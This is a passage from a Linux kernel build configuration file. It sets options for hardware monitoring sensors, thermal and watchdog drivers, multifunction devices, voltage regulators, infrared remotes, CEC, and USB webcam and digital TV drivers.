# CONFIG_SENSORS_GL520SM is not set
# CONFIG_SENSORS_GPD is not set
# CONFIG_SENSORS_G760A is not set
# CONFIG_SENSORS_G762 is not set
# CONFIG_SENSORS_GPIO_FAN is not set
# CONFIG_SENSORS_HIH6130 is not set
# CONFIG_SENSORS_HS3001 is not set
# CONFIG_SENSORS_HTU31 is not set
# CONFIG_SENSORS_IIO_HWMON is not set
# CONFIG_SENSORS_I5500 is not set
# CONFIG_SENSORS_CORETEMP is not set
# CONFIG_SENSORS_ISL28022 is not set
# CONFIG_SENSORS_IT87 is not set
# CONFIG_SENSORS_JC42 is not set
CONFIG_SENSORS_POWERZ=y
# CONFIG_SENSORS_POWR1220 is not set
# CONFIG_SENSORS_PROM21_XHCI is not set
# CONFIG_SENSORS_LATTEPANDA_SIGMA_EC is not set
# CONFIG_SENSORS_LENOVO_EC is not set
# CONFIG_SENSORS_LINEAGE is not set
# CONFIG_SENSORS_LTC2945 is not set
# CONFIG_SENSORS_LTC2947_I2C is not set
# CONFIG_SENSORS_LTC2947_SPI is not set
# CONFIG_SENSORS_LTC2990 is not set
# CONFIG_SENSORS_LTC2991 is not set
# CONFIG_SENSORS_LTC2992 is not set
# CONFIG_SENSORS_LTC4151 is not set
# CONFIG_SENSORS_LTC4215 is not set
# CONFIG_SENSORS_LTC4222 is not set
# CONFIG_SENSORS_LTC4245 is not set
# CONFIG_SENSORS_LTC4260 is not set
# CONFIG_SENSORS_LTC4261 is not set
# CONFIG_SENSORS_LTC4282 is not set
# CONFIG_SENSORS_LTC4283 is not set
# CONFIG_SENSORS_MAX1111 is not set
# CONFIG_SENSORS_MAX127 is not set
# CONFIG_SENSORS_MAX16065 is not set
# CONFIG_SENSORS_MAX1619 is not set
# CONFIG_SENSORS_MAX1668 is not set
# CONFIG_SENSORS_MAX197 is not set
# CONFIG_SENSORS_MAX31722 is not set
# CONFIG_SENSORS_MAX31730 is not set
# CONFIG_SENSORS_MAX31760 is not set
# CONFIG_MAX31827 is not set
# CONFIG_SENSORS_MAX6620 is not set
# CONFIG_SENSORS_MAX6621 is not set
# CONFIG_SENSORS_MAX6639 is not set
# CONFIG_SENSORS_MAX6650 is not set
# CONFIG_SENSORS_MAX6697 is not set
# CONFIG_SENSORS_MAX31790 is not set
# CONFIG_SENSORS_MC34VR500 is not set
# CONFIG_SENSORS_MCP3021 is not set
# CONFIG_SENSORS_MCP9982 is not set
# CONFIG_SENSORS_TC654 is not set
# CONFIG_SENSORS_TPS23861 is not set
# CONFIG_SENSORS_MINISFORUM_UM780XTX is not set
# CONFIG_SENSORS_MR75203 is not set
# CONFIG_SENSORS_ADCXX is not set
# CONFIG_SENSORS_LM63 is not set
# CONFIG_SENSORS_LM70 is not set
# CONFIG_SENSORS_LM73 is not set
# CONFIG_SENSORS_LM75 is not set
# CONFIG_SENSORS_LM77 is not set
# CONFIG_SENSORS_LM78 is not set
# CONFIG_SENSORS_LM80 is not set
# CONFIG_SENSORS_LM83 is not set
# CONFIG_SENSORS_LM85 is not set
# CONFIG_SENSORS_LM87 is not set
# CONFIG_SENSORS_LM90 is not set
# CONFIG_SENSORS_LM92 is not set
# CONFIG_SENSORS_LM93 is not set
# CONFIG_SENSORS_LM95234 is not set
# CONFIG_SENSORS_LM95241 is not set
# CONFIG_SENSORS_LM95245 is not set
# CONFIG_SENSORS_PC87360 is not set
# CONFIG_SENSORS_PC87427 is not set
# CONFIG_SENSORS_NTC_THERMISTOR is not set
# CONFIG_SENSORS_NCT6683 is not set
# CONFIG_SENSORS_NCT6775 is not set
# CONFIG_SENSORS_NCT6775_I2C is not set
# CONFIG_SENSORS_NCT7363 is not set
# CONFIG_SENSORS_NCT7802 is not set
# CONFIG_SENSORS_NCT7904 is not set
# CONFIG_SENSORS_NPCM7XX is not set
CONFIG_SENSORS_NZXT_KRAKEN2=y
# CONFIG_SENSORS_NZXT_KRAKEN3 is not set
CONFIG_SENSORS_NZXT_SMART2=y
# CONFIG_SENSORS_OCC_P8_I2C is not set
# CONFIG_SENSORS_PCF8591 is not set
# CONFIG_PMBUS is not set
# CONFIG_SENSORS_PT5161L is not set
# CONFIG_SENSORS_SHT15 is not set
# CONFIG_SENSORS_SHT21 is not set
# CONFIG_SENSORS_SHT3x is not set
# CONFIG_SENSORS_SHT4x is not set
# CONFIG_SENSORS_SHTC1 is not set
# CONFIG_SENSORS_SIS5595 is not set
# CONFIG_SENSORS_DME1737 is not set
# CONFIG_SENSORS_EMC1403 is not set
# CONFIG_SENSORS_EMC1812 is not set
# CONFIG_SENSORS_EMC2103 is not set
# CONFIG_SENSORS_EMC2305 is not set
# CONFIG_SENSORS_EMC6W201 is not set
# CONFIG_SENSORS_SMSC47M1 is not set
# CONFIG_SENSORS_SMSC47M192 is not set
# CONFIG_SENSORS_SMSC47B397 is not set
# CONFIG_SENSORS_SCH5627 is not set
# CONFIG_SENSORS_SCH5636 is not set
# CONFIG_SENSORS_STTS751 is not set
# CONFIG_SENSORS_SURFACE_FAN is not set
# CONFIG_SENSORS_SURFACE_TEMP is not set
# CONFIG_SENSORS_ADC128D818 is not set
# CONFIG_SENSORS_ADS7828 is not set
# CONFIG_SENSORS_ADS7871 is not set
# CONFIG_SENSORS_AMC6821 is not set
# CONFIG_SENSORS_INA209 is not set
# CONFIG_SENSORS_INA2XX is not set
# CONFIG_SENSORS_INA238 is not set
# CONFIG_SENSORS_INA3221 is not set
# CONFIG_SENSORS_SPD5118 is not set
# CONFIG_SENSORS_TC74 is not set
# CONFIG_SENSORS_THMC50 is not set
# CONFIG_SENSORS_TMP102 is not set
# CONFIG_SENSORS_TMP103 is not set
# CONFIG_SENSORS_TMP108 is not set
# CONFIG_SENSORS_TMP401 is not set
# CONFIG_SENSORS_TMP421 is not set
# CONFIG_SENSORS_TMP464 is not set
# CONFIG_SENSORS_TMP513 is not set
# CONFIG_SENSORS_TSC1641 is not set
# CONFIG_SENSORS_VIA_CPUTEMP is not set
# CONFIG_SENSORS_VIA686A is not set
# CONFIG_SENSORS_VT1211 is not set
# CONFIG_SENSORS_VT8231 is not set
# CONFIG_SENSORS_W83773G is not set
# CONFIG_SENSORS_W83781D is not set
# CONFIG_SENSORS_W83791D is not set
# CONFIG_SENSORS_W83792D is not set
# CONFIG_SENSORS_W83793 is not set
# CONFIG_SENSORS_W83795 is not set
# CONFIG_SENSORS_W83L785TS is not set
# CONFIG_SENSORS_W83L786NG is not set
# CONFIG_SENSORS_W83627HF is not set
# CONFIG_SENSORS_W83627EHF is not set
# CONFIG_SENSORS_XGENE is not set
# CONFIG_SENSORS_YOGAFAN is not set

#
# ACPI drivers
#
# CONFIG_SENSORS_ACPI_POWER is not set
# CONFIG_SENSORS_ATK0110 is not set
# CONFIG_SENSORS_ASUS_WMI is not set
# CONFIG_SENSORS_ASUS_EC is not set
# CONFIG_SENSORS_HONOR_FMI is not set
# CONFIG_SENSORS_HP_WMI is not set
CONFIG_THERMAL=y
CONFIG_THERMAL_NETLINK=y
# CONFIG_THERMAL_STATISTICS is not set
# CONFIG_THERMAL_DEBUGFS is not set
# CONFIG_THERMAL_CORE_TESTING is not set
CONFIG_THERMAL_EMERGENCY_POWEROFF_DELAY_MS=0
CONFIG_THERMAL_HWMON=y
# CONFIG_THERMAL_OF is not set
CONFIG_THERMAL_DEFAULT_GOV_STEP_WISE=y
# CONFIG_THERMAL_DEFAULT_GOV_FAIR_SHARE is not set
# CONFIG_THERMAL_DEFAULT_GOV_USER_SPACE is not set
# CONFIG_THERMAL_GOV_FAIR_SHARE is not set
CONFIG_THERMAL_GOV_STEP_WISE=y
# CONFIG_THERMAL_GOV_BANG_BANG is not set
# CONFIG_THERMAL_GOV_USER_SPACE is not set
# CONFIG_PCIE_THERMAL is not set
# CONFIG_THERMAL_EMULATION is not set
# CONFIG_THERMAL_MMIO is not set

#
# Intel thermal drivers
#
# CONFIG_INTEL_POWERCLAMP is not set
CONFIG_X86_THERMAL_VECTOR=y
# CONFIG_X86_PKG_TEMP_THERMAL is not set
# CONFIG_INTEL_SOC_DTS_THERMAL is not set

#
# ACPI INT340X thermal drivers
#
# CONFIG_INT340X_THERMAL is not set
# end of ACPI INT340X thermal drivers

# CONFIG_INTEL_BXT_PMIC_THERMAL is not set
# CONFIG_INTEL_PCH_THERMAL is not set
# CONFIG_INTEL_TCC_COOLING is not set
# CONFIG_INTEL_HFI_THERMAL is not set
# end of Intel thermal drivers

# CONFIG_GENERIC_ADC_THERMAL is not set
CONFIG_WATCHDOG=y
# CONFIG_WATCHDOG_CORE is not set
# CONFIG_WATCHDOG_NOWAYOUT is not set
CONFIG_WATCHDOG_HANDLE_BOOT_ENABLED=y
CONFIG_WATCHDOG_OPEN_TIMEOUT=0
# CONFIG_WATCHDOG_SYSFS is not set
# CONFIG_WATCHDOG_HRTIMER_PRETIMEOUT is not set

#
# Watchdog Pretimeout Governors
#

#
# Watchdog Device Drivers
#
# CONFIG_SOFT_WATCHDOG is not set
# CONFIG_GPIO_WATCHDOG is not set
# CONFIG_LENOVO_SE10_WDT is not set
# CONFIG_LENOVO_SE30_WDT is not set
# CONFIG_LENOVO_SE30G2_SE60_WDT is not set
# CONFIG_WDAT_WDT is not set
# CONFIG_XILINX_WATCHDOG is not set
# CONFIG_ZIIRAVE_WATCHDOG is not set
# CONFIG_CADENCE_WATCHDOG is not set
# CONFIG_DW_WATCHDOG is not set
# CONFIG_TWL4030_WATCHDOG is not set
# CONFIG_MAX63XX_WATCHDOG is not set
# CONFIG_RETU_WATCHDOG is not set
# CONFIG_ACQUIRE_WDT is not set
# CONFIG_ADVANTECH_WDT is not set
# CONFIG_ADVANTECH_EC_WDT is not set
# CONFIG_ALIM1535_WDT is not set
# CONFIG_ALIM7101_WDT is not set
# CONFIG_EBC_C384_WDT is not set
# CONFIG_EXAR_WDT is not set
# CONFIG_F71808E_WDT is not set
# CONFIG_SP5100_TCO is not set
# CONFIG_SBC_FITPC2_WATCHDOG is not set
# CONFIG_EUROTECH_WDT is not set
# CONFIG_IB700_WDT is not set
# CONFIG_IBMASR is not set
# CONFIG_WAFER_WDT is not set
# CONFIG_I6300ESB_WDT is not set
# CONFIG_IE6XX_WDT is not set
# CONFIG_INTEL_OC_WATCHDOG is not set
# CONFIG_ITCO_WDT is not set
# CONFIG_IT8712F_WDT is not set
# CONFIG_IT87_WDT is not set
# CONFIG_HP_WATCHDOG is not set
# CONFIG_SC1200_WDT is not set
# CONFIG_PC87413_WDT is not set
# CONFIG_NV_TCO is not set
# CONFIG_60XX_WDT is not set
# CONFIG_SMSC_SCH311X_WDT is not set
# CONFIG_SMSC37B787_WDT is not set
# CONFIG_TQMX86_WDT is not set
# CONFIG_VIA_WDT is not set
# CONFIG_W83627HF_WDT is not set
# CONFIG_W83877F_WDT is not set
# CONFIG_W83977F_WDT is not set
# CONFIG_SBC_EPX_C3_WATCHDOG is not set
# CONFIG_INTEL_MEI_WDT is not set
# CONFIG_NI903X_WDT is not set
# CONFIG_NIC7018_WDT is not set
# CONFIG_MEN_A21_WDT is not set

#
# PCI-based Watchdog Cards
#
# CONFIG_PCIPCWATCHDOG is not set
# CONFIG_WDTPCI is not set

#
# USB-based Watchdog Cards
#
CONFIG_USBPCWATCHDOG=y
CONFIG_SSB_POSSIBLE=y
CONFIG_SSB=y
CONFIG_SSB_PCIHOST_POSSIBLE=y
# CONFIG_SSB_PCIHOST is not set
CONFIG_SSB_PCMCIAHOST_POSSIBLE=y
# CONFIG_SSB_PCMCIAHOST is not set
CONFIG_SSB_SDIOHOST_POSSIBLE=y
# CONFIG_SSB_SDIOHOST is not set
# CONFIG_SSB_DRIVER_GPIO is not set
CONFIG_BCMA_POSSIBLE=y
CONFIG_BCMA=y
CONFIG_BCMA_HOST_PCI_POSSIBLE=y
# CONFIG_BCMA_HOST_PCI is not set
# CONFIG_BCMA_HOST_SOC is not set
# CONFIG_BCMA_DRIVER_PCI is not set
# CONFIG_BCMA_DRIVER_GMAC_CMN is not set
# CONFIG_BCMA_DRIVER_GPIO is not set
# CONFIG_BCMA_DEBUG is not set

#
# Multifunction device drivers
#
CONFIG_MFD_CORE=y
# CONFIG_MFD_ADP5585 is not set
# CONFIG_MFD_ACT8945A is not set
# CONFIG_MFD_AS3711 is not set
# CONFIG_MFD_SMPRO is not set
# CONFIG_MFD_AS3722 is not set
# CONFIG_PMIC_ADP5520 is not set
# CONFIG_MFD_AAT2870_CORE is not set
# CONFIG_MFD_ATMEL_FLEXCOM is not set
# CONFIG_MFD_ATMEL_HLCDC is not set
# CONFIG_MFD_BCM590XX is not set
# CONFIG_MFD_BD9571MWV is not set
# CONFIG_MFD_AXP20X_I2C is not set
# CONFIG_MFD_CGBC is not set
# CONFIG_MFD_CS40L50_I2C is not set
# CONFIG_MFD_CS40L50_SPI is not set
# CONFIG_MFD_CS42L43_I2C is not set
# CONFIG_MFD_CS42L43_SDW is not set
# CONFIG_MFD_LOCHNAGAR is not set
# CONFIG_MFD_MADERA is not set
# CONFIG_PMIC_DA903X is not set
# CONFIG_MFD_DA9052_SPI is not set
# CONFIG_MFD_DA9052_I2C is not set
# CONFIG_MFD_DA9055 is not set
# CONFIG_MFD_DA9062 is not set
# CONFIG_MFD_DA9063 is not set
# CONFIG_MFD_DA9150 is not set
CONFIG_MFD_DLN2=y
# CONFIG_MFD_GATEWORKS_GSC is not set
# CONFIG_MFD_MC13XXX_SPI is not set
# CONFIG_MFD_MC13XXX_I2C is not set
# CONFIG_MFD_MP2629 is not set
# CONFIG_MFD_PF1550 is not set
# CONFIG_MFD_HI6421_PMIC is not set
# CONFIG_MFD_INTEL_QUARK_I2C_GPIO is not set
CONFIG_LPC_ICH=y
# CONFIG_LPC_SCH is not set
# CONFIG_INTEL_SOC_PMIC is not set
CONFIG_INTEL_SOC_PMIC_BXTWC=y
CONFIG_INTEL_SOC_PMIC_CHTWC=y
# CONFIG_INTEL_SOC_PMIC_CHTDC_TI is not set
# CONFIG_MFD_INTEL_LPSS_ACPI is not set
# CONFIG_MFD_INTEL_LPSS_PCI is not set
CONFIG_MFD_INTEL_PMC_BXT=y
# CONFIG_MFD_IQS62X is not set
# CONFIG_MFD_JANZ_CMODIO is not set
# CONFIG_MFD_KEMPLD is not set
# CONFIG_MFD_88PM800 is not set
# CONFIG_MFD_88PM805 is not set
# CONFIG_MFD_88PM860X is not set
# CONFIG_MFD_88PM886_PMIC is not set
# CONFIG_MFD_MAX5970 is not set
# CONFIG_MFD_MAX14577 is not set
# CONFIG_MFD_MAX77541 is not set
# CONFIG_MFD_MAX77620 is not set
# CONFIG_MFD_MAX77650 is not set
# CONFIG_MFD_MAX77686 is not set
# CONFIG_MFD_MAX77693 is not set
# CONFIG_MFD_MAX77705 is not set
# CONFIG_MFD_MAX77714 is not set
# CONFIG_MFD_MAX77759 is not set
# CONFIG_MFD_MAX77843 is not set
# CONFIG_MFD_MAX8907 is not set
# CONFIG_MFD_MAX8925 is not set
# CONFIG_MFD_MAX8997 is not set
# CONFIG_MFD_MAX8998 is not set
CONFIG_MFD_MT6360=y
CONFIG_MFD_MT6370=y
# CONFIG_MFD_MT6397 is not set
# CONFIG_MFD_MENF21BMC is not set
# CONFIG_MFD_NCT6694 is not set
# CONFIG_MFD_OCELOT is not set
# CONFIG_MFD_CPCAP is not set
CONFIG_MFD_VIPERBOARD=y
# CONFIG_MFD_NTXEC is not set
CONFIG_MFD_RETU=y
# CONFIG_MFD_SY7636A is not set
# CONFIG_MFD_RDC321X is not set
# CONFIG_MFD_RT4831 is not set
# CONFIG_MFD_RT5033 is not set
# CONFIG_MFD_RT5120 is not set
# CONFIG_MFD_RC5T583 is not set
# CONFIG_MFD_RK8XX_I2C is not set
# CONFIG_MFD_RK8XX_SPI is not set
# CONFIG_MFD_RN5T618 is not set
# CONFIG_MFD_SEC_I2C is not set
# CONFIG_MFD_SI476X_CORE is not set
# CONFIG_MFD_SM501 is not set
# CONFIG_MFD_SKY81452 is not set
# CONFIG_MFD_STMPE is not set
CONFIG_MFD_SYSCON=y
# CONFIG_MFD_LP3943 is not set
# CONFIG_MFD_LP8788 is not set
# CONFIG_MFD_TI_LMU is not set
# CONFIG_MFD_BQ257XX is not set
# CONFIG_MFD_PALMAS is not set
# CONFIG_TPS6105X is not set
# CONFIG_TPS65010 is not set
# CONFIG_TPS6507X is not set
# CONFIG_MFD_TPS65086 is not set
# CONFIG_MFD_TPS65090 is not set
# CONFIG_MFD_TPS65217 is not set
# CONFIG_MFD_TI_LP873X is not set
# CONFIG_MFD_TI_LP87565 is not set
# CONFIG_MFD_TPS65218 is not set
# CONFIG_MFD_TPS65219 is not set
# CONFIG_MFD_TPS6586X is not set
# CONFIG_MFD_TPS65910 is not set
# CONFIG_MFD_TPS65912_I2C is not set
# CONFIG_MFD_TPS65912_SPI is not set
# CONFIG_MFD_TPS6594_I2C is not set
# CONFIG_MFD_TPS6594_SPI is not set
CONFIG_TWL4030_CORE=y
# CONFIG_MFD_TWL4030_AUDIO is not set
# CONFIG_TWL6040_CORE is not set
# CONFIG_MFD_LM3533 is not set
# CONFIG_MFD_TC3589X is not set
# CONFIG_MFD_TQMX86 is not set
# CONFIG_MFD_VX855 is not set
# CONFIG_MFD_ARIZONA_I2C is not set
# CONFIG_MFD_ARIZONA_SPI is not set
# CONFIG_MFD_WM8400 is not set
# CONFIG_MFD_WM831X_I2C is not set
# CONFIG_MFD_WM831X_SPI is not set
# CONFIG_MFD_WM8350_I2C is not set
# CONFIG_MFD_WM8994 is not set
# CONFIG_MFD_ROHM_BD718XX is not set
# CONFIG_MFD_ROHM_BD71828 is not set
# CONFIG_MFD_ROHM_BD957XMUF is not set
# CONFIG_MFD_ROHM_BD96801 is not set
# CONFIG_MFD_STPMIC1 is not set
# CONFIG_MFD_STMFX is not set
# CONFIG_MFD_ATC260X_I2C is not set
# CONFIG_MFD_QCOM_PM8008 is not set
# CONFIG_RAVE_SP_CORE is not set
# CONFIG_MFD_INTEL_M10_BMC_SPI is not set
# CONFIG_MFD_QNAP_MCU is not set
# CONFIG_MFD_RSMU_I2C is not set
# CONFIG_MFD_RSMU_SPI is not set
# CONFIG_MFD_UPBOARD_FPGA is not set
# CONFIG_MFD_MAX7360 is not set
# end of Multifunction device drivers

CONFIG_REGULATOR=y
# CONFIG_REGULATOR_DEBUG is not set
CONFIG_REGULATOR_FIXED_VOLTAGE=y
# CONFIG_REGULATOR_VIRTUAL_CONSUMER is not set
# CONFIG_REGULATOR_USERSPACE_CONSUMER is not set
# CONFIG_REGULATOR_NETLINK_EVENTS is not set
# CONFIG_REGULATOR_88PG86X is not set
# CONFIG_REGULATOR_ACT8865 is not set
# CONFIG_REGULATOR_AD5398 is not set
# CONFIG_REGULATOR_ADP5055 is not set
# CONFIG_REGULATOR_AW37503 is not set
# CONFIG_REGULATOR_DA9121 is not set
# CONFIG_REGULATOR_DA9210 is not set
# CONFIG_REGULATOR_DA9211 is not set
# CONFIG_REGULATOR_FAN53555 is not set
# CONFIG_REGULATOR_FAN53880 is not set
# CONFIG_REGULATOR_GPIO is not set
# CONFIG_REGULATOR_ISL9305 is not set
# CONFIG_REGULATOR_ISL6271A is not set
# CONFIG_REGULATOR_FP9931 is not set
# CONFIG_REGULATOR_LP3971 is not set
# CONFIG_REGULATOR_LP3972 is not set
# CONFIG_REGULATOR_LP872X is not set
# CONFIG_REGULATOR_LP8755 is not set
# CONFIG_REGULATOR_LTC3589 is not set
# CONFIG_REGULATOR_LTC3676 is not set
# CONFIG_REGULATOR_MAX1586 is not set
# CONFIG_REGULATOR_MAX77503 is not set
# CONFIG_REGULATOR_MAX77675 is not set
# CONFIG_REGULATOR_MAX77857 is not set
# CONFIG_REGULATOR_MAX8649 is not set
# CONFIG_REGULATOR_MAX8660 is not set
# CONFIG_REGULATOR_MAX8893 is not set
# CONFIG_REGULATOR_MAX8952 is not set
# CONFIG_REGULATOR_MAX20086 is not set
# CONFIG_REGULATOR_MAX20411 is not set
# CONFIG_REGULATOR_MAX77826 is not set
# CONFIG_REGULATOR_MAX77838 is not set
# CONFIG_REGULATOR_MCP16502 is not set
# CONFIG_REGULATOR_MP5416 is not set
# CONFIG_REGULATOR_MP8859 is not set
# CONFIG_REGULATOR_MP886X is not set
# CONFIG_REGULATOR_MPQ7920 is not set
# CONFIG_REGULATOR_MT6311 is not set
# CONFIG_REGULATOR_MT6360 is not set
# CONFIG_REGULATOR_MT6370 is not set
# CONFIG_REGULATOR_PCA9450 is not set
# CONFIG_REGULATOR_PF9453 is not set
# CONFIG_REGULATOR_PF0900 is not set
# CONFIG_REGULATOR_PF530X is not set
# CONFIG_REGULATOR_PF8X00 is not set
# CONFIG_REGULATOR_PFUZE100 is not set
# CONFIG_REGULATOR_PV88060 is not set
# CONFIG_REGULATOR_PV88080 is not set
# CONFIG_REGULATOR_PV88090 is not set
# CONFIG_REGULATOR_RAA215300 is not set
# CONFIG_REGULATOR_RT4801 is not set
# CONFIG_REGULATOR_RT4803 is not set
# CONFIG_REGULATOR_RT5133 is not set
# CONFIG_REGULATOR_RT5190A is not set
# CONFIG_REGULATOR_RT5739 is not set
# CONFIG_REGULATOR_RT5759 is not set
# CONFIG_REGULATOR_RT6160 is not set
# CONFIG_REGULATOR_RT6190 is not set
# CONFIG_REGULATOR_RT6245 is not set
# CONFIG_REGULATOR_RT8092 is not set
# CONFIG_REGULATOR_RTQ2134 is not set
# CONFIG_REGULATOR_RTMV20 is not set
# CONFIG_REGULATOR_RTQ6752 is not set
# CONFIG_REGULATOR_RTQ2208 is not set
# CONFIG_REGULATOR_SGM3804 is not set
# CONFIG_REGULATOR_SLG51000 is not set
# CONFIG_REGULATOR_SY8106A is not set
# CONFIG_REGULATOR_SY8824X is not set
# CONFIG_REGULATOR_SY8827N is not set
# CONFIG_REGULATOR_TPS51632 is not set
# CONFIG_REGULATOR_TPS62360 is not set
# CONFIG_REGULATOR_TPS6286X is not set
# CONFIG_REGULATOR_TPS6287X is not set
# CONFIG_REGULATOR_TPS65023 is not set
# CONFIG_REGULATOR_TPS6507X is not set
# CONFIG_REGULATOR_TPS65132 is not set
# CONFIG_REGULATOR_TPS65185 is not set
# CONFIG_REGULATOR_TPS6524X is not set
CONFIG_REGULATOR_TWL4030=y
# CONFIG_REGULATOR_VCTRL is not set
CONFIG_RC_CORE=y
# CONFIG_LIRC is not set
# CONFIG_RC_MAP is not set
# CONFIG_RC_DECODERS is not set
CONFIG_RC_DEVICES=y
# CONFIG_IR_ENE is not set
# CONFIG_IR_FINTEK is not set
# CONFIG_IR_GPIO_CIR is not set
# CONFIG_IR_HIX5HD2 is not set
CONFIG_IR_IGORPLUGUSB=y
CONFIG_IR_IGUANA=y
CONFIG_IR_IMON=y
CONFIG_IR_IMON_RAW=y
# CONFIG_IR_ITE_CIR is not set
CONFIG_IR_MCEUSB=y
# CONFIG_IR_NUVOTON is not set
CONFIG_IR_REDRAT3=y
# CONFIG_IR_SERIAL is not set
CONFIG_IR_STREAMZAP=y
CONFIG_IR_TOY=y
CONFIG_IR_TTUSBIR=y
# CONFIG_IR_WINBOND_CIR is not set
CONFIG_RC_ATI_REMOTE=y
# CONFIG_RC_LOOPBACK is not set
CONFIG_RC_XBOX_DVD=y
CONFIG_CEC_CORE=y

#
# CEC support
#
# CONFIG_MEDIA_CEC_RC is not set
CONFIG_MEDIA_CEC_SUPPORT=y
# CONFIG_CEC_CH7322 is not set
# CONFIG_CEC_NXP_TDA9950 is not set
# CONFIG_CEC_GPIO is not set
# CONFIG_CEC_SECO is not set
# CONFIG_USB_EXTRON_DA_HD_4K_PLUS_CEC is not set
CONFIG_USB_PULSE8_CEC=y
CONFIG_USB_RAINSHADOW_CEC=y
# end of CEC support

CONFIG_MEDIA_SUPPORT=y
CONFIG_MEDIA_SUPPORT_FILTER=y
# CONFIG_MEDIA_SUBDRV_AUTOSELECT is not set

#
# Media device types
#
CONFIG_MEDIA_CAMERA_SUPPORT=y
CONFIG_MEDIA_ANALOG_TV_SUPPORT=y
CONFIG_MEDIA_DIGITAL_TV_SUPPORT=y
CONFIG_MEDIA_RADIO_SUPPORT=y
CONFIG_MEDIA_SDR_SUPPORT=y
CONFIG_MEDIA_PLATFORM_SUPPORT=y
CONFIG_MEDIA_TEST_SUPPORT=y
# end of Media device types

CONFIG_VIDEO_DEV=y
CONFIG_MEDIA_CONTROLLER=y
CONFIG_DVB_CORE=y

#
# Video4Linux options
#
CONFIG_VIDEO_V4L2_I2C=y
CONFIG_VIDEO_V4L2_SUBDEV_API=y
# CONFIG_VIDEO_ADV_DEBUG is not set
# CONFIG_VIDEO_FIXED_MINOR_RANGES is not set
CONFIG_VIDEO_TUNER=y
CONFIG_V4L2_MEM2MEM_DEV=y
# end of Video4Linux options

#
# Media controller options
#
CONFIG_MEDIA_CONTROLLER_DVB=y
# end of Media controller options

#
# Digital TV options
#
# CONFIG_DVB_MMAP is not set
# CONFIG_DVB_NET is not set
CONFIG_DVB_MAX_ADAPTERS=16
# CONFIG_DVB_DYNAMIC_MINORS is not set
# CONFIG_DVB_DEMUX_SECTION_LOSS_LOG is not set
# CONFIG_DVB_ULE_DEBUG is not set
# end of Digital TV options

#
# Media drivers
#

#
# Drivers filtered as selected at 'Filter media drivers'
#

#
# Media drivers
#
CONFIG_MEDIA_USB_SUPPORT=y

#
# Webcam devices
#
CONFIG_USB_GSPCA=y
CONFIG_USB_GSPCA_BENQ=y
CONFIG_USB_GSPCA_CONEX=y
CONFIG_USB_GSPCA_CPIA1=y
CONFIG_USB_GSPCA_DTCS033=y
CONFIG_USB_GSPCA_ETOMS=y
CONFIG_USB_GSPCA_FINEPIX=y
CONFIG_USB_GSPCA_JEILINJ=y
CONFIG_USB_GSPCA_JL2005BCD=y
CONFIG_USB_GSPCA_KINECT=y
CONFIG_USB_GSPCA_KONICA=y
CONFIG_USB_GSPCA_MARS=y
CONFIG_USB_GSPCA_MR97310A=y
CONFIG_USB_GSPCA_NW80X=y
CONFIG_USB_GSPCA_OV519=y
CONFIG_USB_GSPCA_OV534=y
CONFIG_USB_GSPCA_OV534_9=y
CONFIG_USB_GSPCA_PAC207=y
CONFIG_USB_GSPCA_PAC7302=y
CONFIG_USB_GSPCA_PAC7311=y
CONFIG_USB_GSPCA_SE401=y
CONFIG_USB_GSPCA_SN9C2028=y
CONFIG_USB_GSPCA_SN9C20X=y
CONFIG_USB_GSPCA_SONIXB=y
CONFIG_USB_GSPCA_SONIXJ=y
CONFIG_USB_GSPCA_SPCA1528=y
CONFIG_USB_GSPCA_SPCA500=y
CONFIG_USB_GSPCA_SPCA501=y
CONFIG_USB_GSPCA_SPCA505=y
CONFIG_USB_GSPCA_SPCA506=y
CONFIG_USB_GSPCA_SPCA508=y
CONFIG_USB_GSPCA_SPCA561=y
CONFIG_USB_GSPCA_SQ905=y
CONFIG_USB_GSPCA_SQ905C=y
CONFIG_USB_GSPCA_SQ930X=y
CONFIG_USB_GSPCA_STK014=y
CONFIG_USB_GSPCA_STK1135=y
CONFIG_USB_GSPCA_STV0680=y
CONFIG_USB_GSPCA_SUNPLUS=y
CONFIG_USB_GSPCA_T613=y
CONFIG_USB_GSPCA_TOPRO=y
CONFIG_USB_GSPCA_TOUPTEK=y
CONFIG_USB_GSPCA_TV8532=y
CONFIG_USB_GSPCA_VC032X=y
CONFIG_USB_GSPCA_VICAM=y
CONFIG_USB_GSPCA_XIRLINK_CIT=y
CONFIG_USB_GSPCA_ZC3XX=y
CONFIG_USB_GL860=y
CONFIG_USB_M5602=y
CONFIG_USB_STV06XX=y
CONFIG_USB_PWC=y
# CONFIG_USB_PWC_DEBUG is not set
CONFIG_USB_PWC_INPUT_EVDEV=y
CONFIG_USB_S2255=y
CONFIG_VIDEO_USBTV=y
CONFIG_USB_VIDEO_CLASS=y
CONFIG_USB_VIDEO_CLASS_INPUT_EVDEV=y

#
# Analog TV USB devices
#
CONFIG_VIDEO_GO7007=y
CONFIG_VIDEO_GO7007_USB=y
CONFIG_VIDEO_GO7007_LOADER=y
CONFIG_VIDEO_GO7007_USB_S2250_BOARD=y
CONFIG_VIDEO_HDPVR=y
CONFIG_VIDEO_PVRUSB2=y
CONFIG_VIDEO_PVRUSB2_SYSFS=y
CONFIG_VIDEO_PVRUSB2_DVB=y
# CONFIG_VIDEO_PVRUSB2_DEBUGIFC is not set
CONFIG_VIDEO_STK1160=y

#
# Analog/digital TV USB devices
#
CONFIG_VIDEO_AU0828=y
CONFIG_VIDEO_AU0828_V4L2=y
CONFIG_VIDEO_AU0828_RC=y
CONFIG_VIDEO_CX231XX=y
CONFIG_VIDEO_CX231XX_RC=y
CONFIG_VIDEO_CX231XX_ALSA=y
CONFIG_VIDEO_CX231XX_DVB=y

#
# Digital TV USB devices
#
CONFIG_DVB_AS102=y
CONFIG_DVB_B2C2_FLEXCOP_USB=y
# CONFIG_DVB_B2C2_FLEXCOP_USB_DEBUG is not set
CONFIG_DVB_USB_V2=y
CONFIG_DVB_USB_AF9015=y
CONFIG_DVB_USB_AF9035=y
CONFIG_DVB_USB_ANYSEE=y
CONFIG_DVB_USB_AU6610=y
CONFIG_DVB_USB_AZ6007=y
CONFIG_DVB_USB_CE6230=y
CONFIG_DVB_USB_DVBSKY=y
CONFIG_DVB_USB_EC168=y
CONFIG_DVB_USB_GL861=y
CONFIG_DVB_USB_LME2510=y
CONFIG_DVB_USB_MXL111SF=y
CONFIG_DVB_USB_RTL28XXU=y
CONFIG_DVB_USB_ZD1301=y
CONFIG_DVB_USB=y
# CONFIG_DVB_USB_DEBUG is not set
CONFIG_DVB_USB_A800=y
CONFIG_DVB_USB_AF9005=y
CONFIG_DVB_USB_AF9005_REMOTE=y
CONFIG_DVB_USB_AZ6027=y
CONFIG_DVB_USB_CINERGY_T2=y
